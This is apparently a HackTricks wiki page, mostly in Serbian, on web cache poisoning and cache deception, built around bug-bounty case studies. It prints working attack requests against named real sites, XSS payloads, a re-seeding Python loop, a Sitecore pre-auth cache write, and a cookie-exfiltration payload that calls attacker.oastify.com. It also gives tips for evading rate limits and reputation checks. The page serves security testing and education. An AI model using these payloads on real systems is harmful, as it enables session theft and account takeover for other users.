Cache Poisoning and Cache Deception

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Razlika

Koja je razlika između web cache poisoning i web cache deception?

  • U web cache poisoning, napadač navede aplikaciju da sačuva zlonamerni sadržaj u kešu, i taj sadržaj se iz keša servira drugim korisnicima aplikacije.
  • U web cache deception, napadač navede aplikaciju da sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a zatim napadač preuzme taj sadržaj iz keša.

Cache Poisoning

Cache poisoning ima cilj da manipuliše kešom na strani klijenta kako bi naterao klijente da učitaju resurse koji su neočekivani, delimični ili pod kontrolom napadača. Obim uticaja zavisi od popularnosti pogođene stranice, jer se zagađeni odgovor isporučuje isključivo korisnicima koji posete stranicu tokom perioda kontaminacije keša.

Izvođenje napada na keš obuhvata nekoliko koraka:

  1. Identifikacija unkeyed inputa: To su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji vraća server. Identifikacija ovih inputa je ključna jer se mogu iskoristiti za manipulaciju kešom.
  2. Eksploatacija unkeyed inputa: Nakon identifikacije unkeyed inputa, sledeći korak je otkriti kako zloupotrebiti te parametre da bi se izmenio odgovor servera na način koji pogoduje napadaču.
  3. Osiguranje da je zagađeni odgovor keširan: Poslednji korak je osigurati da manipulisani odgovor bude sačuvan u kešu. Na taj način, svaki korisnik koji pristupi pogođenoj stranici dok je keš zagađen, će dobiti kompromitovani odgovor.

Otkrivanje: Proverite HTTP zaglavlja

Obično, kada je odgovor sačuvan u kešu pojaviće se zaglavlje koje to pokazuje, možete proveriti na koja zaglavlja treba obratiti pažnju u ovom postu: HTTP Cache headers.

Otkrivanje: Keširanje kodova grešaka

Ako mislite da se odgovor skladišti u kešu, možete pokušati da pošaljete zahteve sa lošim zaglavljem, kojem bi trebalo da bude odgovoreno sa status code 400. Zatim pokušajte da pristupite zahtevu normalno i ako je odgovor status code 400, znate da je ranjivo (i čak biste mogli izvesti DoS).

Možete naći više opcija u:

Cache Poisoning to DoS

Međutim, imajte na umu da ponekad ovakvi status kodovi nisu keširani, pa ovaj test možda neće biti pouzdan.

Otkrivanje: Identifikujte i ocenite unkeyed inpute

Možete koristiti Param Miner da brute-force parametre i zaglavlja koja mogu menjati odgovor stranice. Na primer, stranica može koristiti header X-Forwarded-For da navede klijenta da učita skript odande:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Izazovite štetan odgovor od back-end servera

Sa identifikovanim parametrom/header-om proverite kako se on sanitizuje i gde se reflektuje ili utiče na odgovor iz header-a. Možete li to ipak iskoristiti (izvesti XSS ili učitati JS kod koji kontrolišete? izvesti DoS?…)

Dobijte keširan odgovor

Kada identifikujete stranicu koja može biti zloupotrebljena, koji parametar/header koristiti i kako ga zloupotrebiti, morate da učinite da stranica bude keširana. U zavisnosti od resursa koji pokušavate da ubacite u keš, ovo može potrajati — možda ćete morati da pokušavate nekoliko sekundi.

Header X-Cache u odgovoru može biti veoma koristan jer može imati vrednost miss kada zahtev nije bio keširan i vrednost hit kada jeste keširan.
Header Cache-Control je takođe interesantan da biste znali da li se resurs kešira i kada će sledeći put resurs biti ponovo keširan: Cache-Control: public, max-age=1800

Još jedan interesantan header je Vary. Ovaj header se često koristi da naznači dodatne headere koji se tretiraju kao deo cache key-a čak i ako obično nisu uključeni u ključ. Dakle, ako napadač zna User-Agent žrtve koju cilja, može poison the cache za korisnike koji koriste taj konkretni User-Agent.

Još jedan header vezan za keš je Age. On definiše vreme u sekundama koliko je objekat bio u proxy cache-u.

Kada keširate zahtev, budite pažljivi sa header-ima koje koristite jer neki od njih mogu biti neočekivano korišćeni kao keyed i žrtva će morati da koristi baš taj header. Uvek testirajte Cache Poisoning sa različitim browser-ima da proverite da li radi.

Foundational cache poisoning case studies

HackerOne global redirect via X-Forwarded-Host

  • Origin je koristio X-Forwarded-Host za templirane redirect-e i canonical URL-ove, ali cache key je koristio samo Host header, tako da je jedan odgovor poisoned every visitor to /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Odmah ponovo pošaljite zahtev za / bez spoofed header; ako redirect opstane, imate global host-spoofing primitive koji često nadograđuje reflected redirects/Open Graph links u stored issues.

GitHub repository DoS putem Content-Type + PURGE

  • Anonimni saobraćaj je bio indeksiran samo po path-u, dok je backend ulazio u stanje greške kada bi video neočekivani Content-Type. Taj error response je mogao biti keširan za svakog neautentifikovanog korisnika repo-a.
  • GitHub je takođe (slučajno) poštovao PURGE verb, dopuštajući napadaču da isprazni zdravu stavku i primora keševe da povuku poisoned variant na zahtev:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Uvek upoređuj autentifikovane i anonimne cache ključeve, fuzzuj retko ključane header-e kao što je Content-Type, i ispitaj izložene cache-maintenance verbs da automatizuješ re-poisoning.

Shopify cross-host persistence loops

  • Multi-layer caches ponekad zahtevaju više identičnih hitova pre nego što snime novi objekat. Shopify je koristio isti cache preko brojnih lokalizovanih hostova, pa je perzistencija značila uticaj na mnoge entitete.
  • Koristi kratke automatizacione petlje za višestruko ponavljanje reseedovanja:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Nakon hit odgovora, pretražite druge hostove/asset-e koji dele isti cache namespace kako biste demonstrirali cross-domain blast radius.

Preusmeravanje JS asset-a → stored XSS lanac

  • Privatni programi često hostuju deljeni JS kao što je /assets/main.js na desetinama subdomena. Ako X-Forwarded-Host utiče na logiku preusmeravanja za te asset-e, ali je unkeyed, keširani odgovor postaje 301 ka attacker JS, što dovodi do stored XSS svuda gde se taj asset importuje.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Mapirajte koji hostovi ponovo koriste istu putanju resursa tako da možete dokazati kompromitovanje više subdomena.

GitLab statički DoS putem X-HTTP-Method-Override

  • GitLab je isporučivao statičke bundle-e iz Google Cloud Storage, koji poštuje X-HTTP-Method-Override. Promena GET u HEAD vraćala je cacheable 200 OK sa Content-Length: 0, a edge cache je ignorisao HTTP method pri generisanju ključa.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Jedan zahtev je zamenio JS bundle praznim telom za svaki GET, efikasno DoSing-ovao UI. Uvek testirajte method overrides (X-HTTP-Method-Override, X-Method-Override, itd.) protiv statičkih resursa i potvrdite da li keš varira u zavisnosti od metode.

HackerOne petlja sa statičkim resursom preko X-Forwarded-Scheme

  • Rails’ Rack middleware je verovao X-Forwarded-Scheme da odluči da li da primeni HTTPS. Spoofing http prema /static/logo.png je izazvao cacheable 301 tako da su svi korisnici potom dobijali redirects (ili petlje) umesto resursa:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Kombinujte scheme spoofing sa host spoofing kad god je moguće kako biste kreirali nepovratna preusmeravanja za visoko vidljive resurse.

Cloudflare host-header casing mismatch

  • Cloudflare je normalizovao Host header za cache keys, ali je prosleđivao raw casing originima. Slanje Host: TaRgEt.CoM je izazvalo alternativno ponašanje u origin routing/templating, dok je istovremeno popunjavalo kanonički lowercase cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM

  • Enumerišite CDN tenants ponovnim slanjem mixed-case hosts (i drugih normalized headers) i uporedite cached response sa origin response pomoću diff-a da biste otkrili shared-platform cache poisonings.

  • Red Hat Open Graph meta poisoning

  • Ubacivanje X-Forwarded-Host unutar Open Graph tagova pretvorilo je reflected HTML injection u stored XSS nakon što je CDN keširao stranicu. Koristite bezopasan cache buster tokom testiranja kako biste izbegli štetu produkcijskim korisnicima:

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Scraperi društvenih mreža koriste keširane Open Graph tagove, tako da jedan poisoned entry distribuira payload daleko šire od direktnih posetilaca.

Primeri eksploatacije

Najlakši primer

A header like X-Forwarded-For is being reflected in the response unsanitized.
Možete poslati osnovni XSS payload i poison the cache tako da će svi koji pristupe stranici biti XSS-ovani:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Napomena: ovo će poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

U this writeup objašnjen je sledeći jednostavan scenarij:

  • The CDN will cache anything under /share/
  • The CDN will NOT decode nor normalize %2F..%2F, stoga, it can be used as path traversal to access other sensitive locations that will be cached like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • The web server WILL decode and normalize %2F..%2F, and will respond with /api/auth/session, which contains the auth token.

Cookies se takođe mogu reflektovati u odgovoru stranice. Ako to možete zloupotrebiti da izazovete XSS, na primer, mogli biste iskoristiti XSS u više klijenata koji učitavaju malicious cache response.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Imajte na umu da, ako je ranjivi cookie često korišćen od strane korisnika, obični zahtevi će čistiti cache.

Generating discrepancies with delimiters, normalization and dots

Pogledajte:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

Ovaj writeup objašnjava kako je bilo moguće ukrasti OpenAI API key sa URL-om kao https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 jer će sve što odgovara /share/* biti keširano bez da Cloudflare normalizuje URL, što je urađeno kada je zahtev stigao do web servera.

Ovo je takođe bolje objašnjeno u:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

Ponekad će biti potrebno da exploit several unkeyed inputs da biste mogli da zloupotrebite cache. Na primer, možete naići na Open redirect ako postavite X-Forwarded-Host na domen koji kontrolišete i X-Forwarded-Scheme na http. Ako server preusmerava sve HTTP zahteve na HTTPS i koristi header X-Forwarded-Scheme kao ime domena za redirect, možete kontrolisati gde će redirect usmeriti stranicu.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Eksploatisanje sa ograničenim Varyheader

Ako ustanovite da se X-Host header koristi kao ime domena za učitavanje JS resursa, ali Vary header u odgovoru ukazuje na User-Agent, morate pronaći način da exfiltrate User-Agent žrtve i poison the cache koristeći taj user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Pošaljite GET request sa istim parametrima u URL-u i u body-ju. Ako web server koristi vrednost iz body-ja, ali cache server caches vrednost iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parametar iz body-ja. Kao vuln koji je James Kettle pronašao na Github website-u:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Saznajte ovde kako da izvodite Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Ovaj real-world pattern povezuje header-based reflection primitive sa ponašanjem CDN/WAF kako bi pouzdano poison-ovao keširani HTML koji se servira drugim korisnicima:

  • Glavni HTML reflektuje untrusted request header (npr. User-Agent) u executable context.
  • CDN je uklanjao cache headers, ali je postojala internal/origin cache. CDN je takođe auto-cached requests koji se završavaju statičnim ekstenzijama (npr. .js), dok je WAF primenjivao slabiju content inspection na GETs za statičke assete.
  • Čudnosti u request flow-u su omogućile da zahtev za .js path utiče na cache key/variant koji se koristi za naredni glavni HTML, omogućavajući cross-user XSS putem header reflection.

Praktičan recept (posmatrano na popularnom CDN/WAF):

  1. Sa clean IP-a (izbegavati prior reputation-based downgrades), postavite maliciozni User-Agent preko browser-a ili Burp Proxy Match & Replace.
  2. U Burp Repeater-u, pripremite grupu od dva zahteva i koristite “Send group in parallel” (single-packet mode radi najbolje):
  • Prvi zahtev: GET a .js resource path na istom origin-u dok šaljete maliciozni User-Agent.
  • Odmah potom: GET the main page (/).
  1. CDN/WAF routing race plus auto-cached .js često seed-uje poisoned cached HTML variant koji se potom služi drugim posetiocima koji dele iste cache key uslove (npr. iste Vary dimenzije poput User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operativni saveti:

  • Mnogi CDN-ovi kriju cache headere; poisoning se može pojaviti samo na osvežavanjima koja traju više sati. Koristite više vantage IPs i throttle-ujte da biste izbegli rate-limit ili reputation triggers.
  • Korišćenje IP-a iz same CDN cloud platforme ponekad poboljšava konzistentnost rutiranja.
  • Ako postoji striktna CSP, ovo i dalje radi ako se reflection izvrši u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili je zaobiđena kontekstom.

Uticaj:

  • Ako session cookies nisu HttpOnly, zero-click ATO je moguć masovnim exfiltriranjem document.cookie od svih korisnika kojima se servira poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Sitecore‑specifičan obrazac omogućava neautentifikovana pisanja u HtmlCache zloupotrebom pre‑auth XAML handlera i AjaxScriptManager reflection. Kada se dostigne handler Sitecore.Shell.Xaml.WebControl, dostupan je xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) i dozvoljen je sledeći reflective poziv:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Ovo upisuje proizvoljan HTML pod cache key koji bira napadač, omogućavajući precizno cache poisoning kada su cache keys poznati.

Za potpune detalje (cache key construction, ItemService enumeration i chained post‑auth deserialization RCE):

Sitecore

Ranljivi primeri

Apache Traffic Server (CVE-2021-27577)

ATS je prosleđivao fragment unutar URL-a bez uklanjanja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle, zahtev /#/../?r=javascript:alert(1) je poslat backendu kao /#/../?r=javascript:alert(1) i cache key nije sadržao payload, već samo host, path i query.

403 and Storage Buckets

Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization header-ima je rezultovao 403 odgovorom koji je bio keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje postojati kod drugih proxy servisa.

Injecting Keyed Parameters

Caches često uključuju specifične GET parametre u cache key. Na primer, Fastly-jev Varnish je keširao size parametar u zahtevima. Međutim, ako je URL-encoded verzija parametra (npr. siz%65) takođe poslata sa netačnom vrednošću, cache key bi bio konstruisan koristeći ispravan size parametar. Ipak, backend bi obradio vrednost iz URL-encoded parametra. URL-encoding drugog size parametra doveo je do njegove izostavke od strane cache-a, ali njegove upotrebe od strane backend-a. Dodela vrednosti 0 tom parametru rezultovala je cacheable 400 Bad Request greškom.

User Agent Rules

Neki developeri blokiraju zahteve sa user-agentima koji se poklapaju sa onima alata visokog saobraćaja kao što su FFUF ili Nuclei da bi kontrolisali opterećenje servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230 određuje prihvatljive karaktere u imenima header-a. Header-i koji sadrže karaktere izvan specificiranog opsega tchar bi idealno trebalo da izazovu 400 Bad Request odgovor. U praksi, serveri ne uvek poštuju ovaj standard. Značajan primer je Akamai, koji prosleđuje header-e sa nevažećim karakterima i kešira bilo koju 400 grešku, sve dok cache-control header nije prisutan. Identifikovan je eksploatabilan obrazac u kome slanje header-a sa ilegalnim karakterom, poput \, rezultira cacheable 400 Bad Request greškom.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cilj Cache Deception je naterati klijente da učitaju resurse koji će biti sačuvani u cache-u sa njihovim osetljivim informacijama.

Prvo, imajte na umu da su extensions kao što su .css, .js, .png itd. obično konfigurisane da budu sačuvane u cache-u. Dakle, ako pristupite www.example.com/profile.php/nonexistent.js cache će verovatno sačuvati odgovor jer vidi .js extension. Međutim, ako application vraća sadržaj sa sensitive korisničkim podacima koji su u www.example.com/profile.php, možete te sadržaje steal od drugih korisnika.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
U tom primeru je objašnjeno da, ako učitate nepostojeću stranicu kao što je http://www.example.com/home.php/non-existent.css, sadržaj http://www.example.com/home.php (sa osetljivim informacijama korisnika) će biti vraćen i cache server će sačuvati rezultat.
Zatim, napadač može pristupiti http://www.example.com/home.php/non-existent.css u svom pregledaču i posmatrati poverljive informacije korisnika koji su prethodno pristupali.

Obratite pažnju da cache proxy treba biti konfigurisana da kešira fajlove na osnovu extension fajla (.css) a ne na osnovu content-type. U primeru http://www.example.com/home.php/non-existent.css content-type će biti text/html umesto text/css.

Saznajte ovde kako izvesti Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

Ovaj obrazac kombinuje Client-Side Path Traversal (CSPT) primitiv u Single-Page App (SPA) sa extension-based CDN caching kako bi javno keširao osetljiv JSON koji je prvobitno bio dostupan samo putem autentifikovanog API poziva.

High level idea:

  • Osetljiv API endpoint zahteva custom auth header i ispravno je označen kao non-cacheable od strane origin.
  • Dodavanje izgleda statičnog sufiksa (na primer, .css) tera CDN da tretira path kao statički asset i kešira odgovor, često bez varijacije na osetljive header-e.
  • SPA sadrži CSPT: konkatenira korisnički kontrolisani segment putanje u API URL dok prilaže victim-ov auth header (na primer, X-Auth-Token). Ubacivanjem ../.. traversal-a, autentifikovani fetch se preusmerava na cacheable varijantu puta (…/v1/token.css), što dovodi do toga da CDN kešira victim-ov token JSON pod javnim key-om.
  • Bilo ko potom može GET-ovati isti cache key bez autentifikacije i preuzeti victim-ov token.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Sufiks koji izgleda statički navodi CDN da kešira:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT u SPA dodaje auth header i omogućava traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Eksploit lanac:
  1. Namamite žrtvu da otvori URL koji ubacuje dot-segmente u parametar putanje SPA, npr.:
  1. SPA izvršava autentifikovani fetch prema:
  1. Pregledač normalizuje putanju u:
  1. CDN tretira .css kao statički asset i kešira JSON sa Cache-Control: public, max-age=…
  2. Javni pristup: bilo ko može potom GET-ovati https://api.example.com/v1/token.css i dobiti keširani token JSON.

Preduslovi

  • SPA izvršava autentifikovani fetch/XHR prema istom API originu (ili cross-origin uz funkcionalan CORS) i dodaje osetljive header-e ili bearer tokene.
  • Edge/CDN primenjuje keširanje zasnovano na ekstenziji za puteve koji izgledaju statički (npr., *.css, *.js, images) i ne varira cache key na osnovu osetljivog header-a.
  • Origin osnovnog endpoint-a nije keširan (ispravno), ali varijanta sa dodatkom ekstenzije je dozvoljena ili nije blokirana pravilima edge-a.

Kontrolna lista za validaciju

  • Identifikujte osetljive dinamičke endpoint-e i pokušajte sufikse poput .css, .js, .jpg, .json. Tražite Cache-Control: public/max-age i X-Cache: Hit (ili ekvivalent, npr., CF-Cache-Status) dok sadržaj ostaje JSON.
  • Pronađite klijentski kod koji konkatenira korisnički kontrolisane inpute u API putanje dok prilaže auth header-e. Injektujte ../ sekvence da preusmerite autentifikovani zahtev na ciljanu endpoint-u.
  • Potvrdite da je autentifikovani header prisutan na preusmerenom zahtevu (npr., u proxy-ju ili kroz server-side logove) i da CDN kešira odgovor pod pređenom putanjom.
  • Iz novog konteksta (bez autentikacije), zatražite istu putanju i potvrdite da se tajni JSON servira iz keša.

Automatski alati

  • toxicache: Golang skener za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više tehnika injektovanja.
  • CacheDecepHound: Python skener dizajniran da detektuje Cache Deception ranjivosti u web serverima.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks